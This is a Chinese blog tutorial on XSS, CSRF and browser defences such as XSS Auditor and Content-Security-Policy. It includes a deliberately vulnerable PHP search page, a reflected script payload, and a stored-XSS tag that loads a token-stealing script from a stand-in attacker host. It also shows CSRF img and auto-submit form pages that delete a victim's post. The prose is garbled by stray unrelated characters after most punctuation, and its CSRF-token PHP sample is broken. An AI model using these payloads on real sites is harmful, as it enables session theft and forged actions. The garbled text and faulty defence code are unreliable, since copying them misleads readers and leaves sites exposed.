隨著各瀏覽器安全功能的提高癞季,前端防御面臨的問題也沒有之前那么復(fù)雜劫瞳,但瀏覽器的防御措施并不能百分百的保證網(wǎng)站的安全。瀏覽器的XSS Auditor绷柒,使得反射型xss幾乎被廢志于;CSP(Content-Security-Policy)、X-XSS-Protection可以禁止不可信源的腳本執(zhí)行废睦!無疑伺绽,這對xss攻擊是一記重拳。但是道高一尺嗜湃,魔高一丈奈应,尤其是在安全界,永遠(yuǎn)應(yīng)該記住的一句箴言就是“只有相對的安全购披,沒有絕對的安全”杖挣。本文重點(diǎn)介紹現(xiàn)代瀏覽器的安全特性以及瀏覽器依然不能防御的攻擊手段。
XSS
XSS攻擊:跨站腳本攻擊(Cross Site Scripting)刚陡,為不和 CSS混淆惩妇,故將跨站腳本攻擊縮寫為XSS。
為什么叫跨站腳本筐乳?簡單來說歌殃,就是在一個(gè)網(wǎng)站上運(yùn)行了該網(wǎng)站之外的js腳本(當(dāng)然,開發(fā)者自已引用的可信源的js不算哥童,比如使用了cdn的 jQuery )挺份。
一個(gè)經(jīng)典的例子
假設(shè)有一個(gè)搜索頁面,關(guān)鍵字以Get方法傳遞贮懈。假設(shè)匀泊,搜索頁面在輸出結(jié)果時(shí)會(huì)無過濾的將用戶的關(guān)鍵字回顯到網(wǎng)頁上,大致邏輯如下:
//xss.php
<?php
if(isset($_REQUEST["wd"]))
$wd=$_REQUEST["wd"];
if($wd){
echo "<div>關(guān)鍵字'$wd'搜索的結(jié)果如下:</div>"
}
...
?>
然后搜索請求的鏈接是:
http://localhost/test/haker/xss.php?wd=<script>alert("xss")</script>
或者為了隱蔽編一下碼:
http://localhost/test/haker/xss.php?wd=ddd%3Cscript%3Ealert(%22%22)%3C/script%3E
在es6下朵你,你甚者可以用unicode碼點(diǎn)各聘。
如果是在幾年前,你的瀏覽器大致都會(huì)彈出這樣一個(gè)窗口:
然而抡医,現(xiàn)在不行了躲因,在chrome和safari下早敬,如果發(fā)現(xiàn)響應(yīng)中包含請求參數(shù)中相同的代碼字符串,它們就會(huì)拒絕執(zhí)行這些代碼大脉,你會(huì)收到如下的錯(cuò)誤提示:
The XSS Auditor refused to execute a script in 'http://localhost/test/haker/xss.php?wd=ddd%3Cscript%3Ealert(%22xss%22)%3C/script%3E' because its source code was found within the request. The auditor was enabled as the server sent neither an 'X-XSS-Protection' nor 'Content-Security-Policy' header.
XSS Auditor
xss auditor是Chrome 和 Safari中內(nèi)建的一個(gè)防御xss攻擊的功能模塊搞监,相當(dāng)于一個(gè)審計(jì)器,有預(yù)設(shè)規(guī)則镰矿,主要功能就是針對上述這種情況琐驴。此功能默認(rèn)是開啟的,當(dāng)然也可以關(guān)閉秤标,需要在response header中顯式指定:
//關(guān)閉 xss auditor
X-XSS-Protection: 0
當(dāng)然绝淡,更強(qiáng)大的是,觸發(fā)后還可以將詳情上報(bào)苍姜,便于分析跟蹤:
X-XSS-Protection: 1; report=http://example.com/your_report_URI
也可以使用block模式:一旦觸發(fā)牢酵,當(dāng)前頁面就會(huì)終止,并同時(shí)展示一個(gè)空白頁面給用戶:
X-XSS-Protection: 1; mode=block
如果將請求換成post衙猪,xss auditor還會(huì)被觸發(fā)嗎馍乙?答案是:可以!
XSS Auditor的缺點(diǎn)
我們將后臺邏輯改一下垫释,給每個(gè)">"后加一個(gè)分號潘拨。
<?php
if(isset($_REQUEST["wd"]))
$wd=str_replace(">",">;",$_REQUEST["wd"]);
if($wd){
echo "<div>關(guān)鍵字'$wd'搜索的結(jié)果如下:</div>"
}
?>
然后依然是之前的鏈接,刷新:
成功了饶号,當(dāng)然本例只是一個(gè)說明铁追,通常情況下,我們都會(huì)對用戶提交的數(shù)據(jù)進(jìn)行一些處理茫船,如果這些處理導(dǎo)致和提交的內(nèi)容不一樣了琅束,但是仍然可以執(zhí)行,比如像本例一樣算谈。那么xss auditor 就無能為力了涩禀。不過xss auditor本身的智能度也挺高,像字符編碼然眼,大小寫變化這種變化依然躲不過xss auditor艾船。
存儲(chǔ)型xss
比如網(wǎng)站有個(gè)留言板功能,但后臺未對用戶輸入進(jìn)行過濾高每,攻擊者可以在留言編輯框中輸入:
<script src="http://www.hacker.org/xss.payload.js"></script>
然后再隨便輸入點(diǎn)其它文字屿岂,提交留言,提交成功后鲸匿,內(nèi)容將會(huì)被保存到服務(wù)器數(shù)據(jù)庫爷怀,只要再訪問留言列表,這個(gè)就會(huì)被插入到網(wǎng)頁中带欢,xss.payload.js中的代碼就可以執(zhí)行运授,如果訪問的用戶都是已登錄用戶烤惊,xss.payload.js可以獲取老瀏覽用戶的信息,如的登錄token吁朦、用戶的個(gè)人資料等柒室,payload甚至可以拉一個(gè)全家桶下來。以前的防御手段主要是對用戶輸入進(jìn)行過濾如:去除html標(biāo)簽逗宜,實(shí)體化伦泥,關(guān)鍵字過濾等等,這樣一來锦溪,最終的結(jié)果就是后臺的大多數(shù)代碼都是在做字符串驗(yàn)證,非常的讓人不舒服府怯。所以W3 org引入了CSP:
Content-Security-Policy
Content-Security-Policy 是W3 org草案刻诊,主要是用來定義頁面可以加載哪些資源,減少 XSS 的發(fā)生牺丙,chrome已經(jīng)支持则涯,詳情可以參考 Chrome CSP 官方文檔。這樣一來冲簿,從源頭上杜絕了不可信源的xss payload加載的可能型粟判。比如下面的配置只允許加載本域下的腳本:
Content-Security-Policy: default-src 'self'
這樣即使頁面被注入了外部腳本,瀏覽器也會(huì)拒絕執(zhí)行峦剔,你會(huì)收到如下的錯(cuò)誤提示:
Refused to load the script 'http://www.hacker.org/xss.payload.js' because it violates the following Content Security Policy directive: "default-src 'self'". Note that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.
當(dāng)然档礁,CSP能指定的規(guī)則是很多的,甚至也可以禁止內(nèi)聯(lián)腳本執(zhí)行吝沫,詳情請移步 W3 CSP呻澜。 瀏覽器的支持情況請移步 Can I use Content Security Policy。
CSRF
復(fù)制一段百度的介紹:CSRF(Cross-site request forgery跨站請求偽造惨险,也被稱為“One Click Attack”或者Session Riding羹幸,通常縮寫為CSRF或者XSRF所刀,是一種對網(wǎng)站的惡意利用押赊。盡管聽起來像跨站腳本(XSS),但它與XSS非常不同汉规,并且攻擊方式幾乎相左。XSS利用站點(diǎn)內(nèi)的信任用戶屏镊,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網(wǎng)站。與XSS攻擊相比痰腮,CSRF攻擊往往不大流行(因此對其進(jìn)行防范的資源也相當(dāng)稀少)和難以防范闸衫,所以被認(rèn)為比XSS更具危險(xiǎn)性。
CSRF攻擊流程
- 用戶登錄受信任網(wǎng)站A诽嘉。
- 在不退出 A的情況下蔚出,訪問危險(xiǎn)網(wǎng)站B(攻擊者網(wǎng)站或攻擊者掛馬的網(wǎng)站)弟翘。
舉個(gè)例子,假設(shè)A網(wǎng)站是個(gè)博客網(wǎng)站骄酗,用戶登錄之后可以刪除自己的博客稀余,刪除的鏈接如下:
http://www.a.com/resource/delete/{blogid}
先看看后臺登錄邏輯:用戶登錄成功后,創(chuàng)建session趋翻,然后將session id通過cookie傳給瀏覽器睛琳,這樣便可以跟蹤用戶登錄狀態(tài),以后所有的操作都是登錄態(tài)的操作踏烙。刪除博客時(shí)后臺的邏輯是這樣的:刪除之前师骗,先檢驗(yàn)用戶身份,如果身份校驗(yàn)通過則刪除讨惩,如果未登錄辟癌,則重定向到登錄頁面。
假設(shè)攻擊者在這篇博客下面評論如下:
“hi 你好荐捻,讀了你的博客很受益黍少,我有一個(gè)問題,請大牛解惑处面,鏈接是b厂置,多謝?!”
看了這條評論后魂角,你內(nèi)心很滿足昵济,于是決定指導(dǎo)一下這位粉絲,你點(diǎn)了鏈接野揪,回答了問題砸紊,自信滿滿地返回到自己的博客,然后突然發(fā)現(xiàn) “博客找不到了”囱挑! 怪哉醉顽,why? 中招了平挑!
問題就在你剛才訪問過的網(wǎng)頁游添。假設(shè)你的博客id=8, b網(wǎng)頁內(nèi)容大致如下:
<html>
...
<img src='http://www.a.com/resource/delete/8'/>
...
<html>
網(wǎng)頁中img src正是刪除你的博客鏈接,或許你會(huì)說通熄,后臺不是有身份認(rèn)證么唆涝?是的,后臺的確有身份認(rèn)證唇辨,但此時(shí)訪問b廊酣,你并沒有退出登錄,而此時(shí)b中瀏覽器又發(fā)起了 http://www.a.com/resource/delete/8 請求(同時(shí)會(huì)發(fā)送該域下的cookie)赏枚,這樣一來亡驰,后臺用戶認(rèn)證會(huì)通過晓猛,所以刪除會(huì)成功。ps:是不是以后可以用這招去刪帖了凡辱。戒职。。
如果是post請求呢透乾?
<html>
...
<form method="post" action="http://www.a.com/resource/delete/">
<input type="hidden" name=id value=8>
</form>
<script>
$("form").submit()
</script>
...
<html>
在b頁面中洪燥,制造一個(gè)表單,然后直接觸發(fā)提交乳乌,依然可以捧韵!
CSRF攻擊防御
隨機(jī)值法
后臺對每一次請求都生成一個(gè)隨機(jī)值,保存在session中汉操,然后再將該值發(fā)送給頁面再来,可以在cookie中,也可以在一個(gè)隱藏的表單中(大多數(shù)后臺框架都是這么做的客情,如php的symfony、laraval),甚至也可以是在驗(yàn)證碼中癞己。下面以表單為例來說明:
<?php
$hash = random(100000);
?>
<form method="post" action="delete/">
<input type="id" name="8">
<input type="hidden" name="hash" value="<?php $hash; ?>">
<input type="submit" value="Submit">
</form>
然后提交時(shí)膀斋,服務(wù)端再對比hash值是不是和session中一樣。 攻擊者網(wǎng)站時(shí)無法預(yù)估這個(gè)hash的痹雅。但是請注意仰担,在上面所述的攻擊場景中,把hash存在cookie中時(shí)不行的绩社。
檢測refer
后臺在進(jìn)行刪除操作之前先判斷refer摔蓝,如果不是本域的請求,則直接拒絕愉耙,這種做法很有效贮尉。但是,想想這樣一個(gè)場景:如果博客允許評論里面插圖朴沿,攻擊者完全可以將 img插入到原網(wǎng)站中猜谚,這樣refer還是在當(dāng)下域名,博客依然會(huì)被刪除赌渣。所有可能引入鏈接的html標(biāo)簽都是不可信的魏铅,如script、link坚芜,后臺過濾策略一定要考慮到览芳。
總結(jié)
其實(shí)可以看到,上面的攻擊雖說現(xiàn)場是在前端鸿竖,但是本質(zhì)還是服務(wù)端驗(yàn)證不足沧竟、過濾不全導(dǎo)致铸敏。對于前端來說,防御所做的事有限屯仗,但是站在攻擊者角度來講搞坝,又必需精通前端。今天只是web滲透的皮毛魁袜,如果大家有興趣桩撮,可以在評論中留言,以后也可以多分享一些服務(wù)器滲透峰弹、操作系統(tǒng)安全方面的店量,當(dāng)然根據(jù)期待度以及我的時(shí)間而定。
最后: 剛開博客鞠呈,求關(guān)注融师、求贊、求評論蚁吝、求打賞旱爆!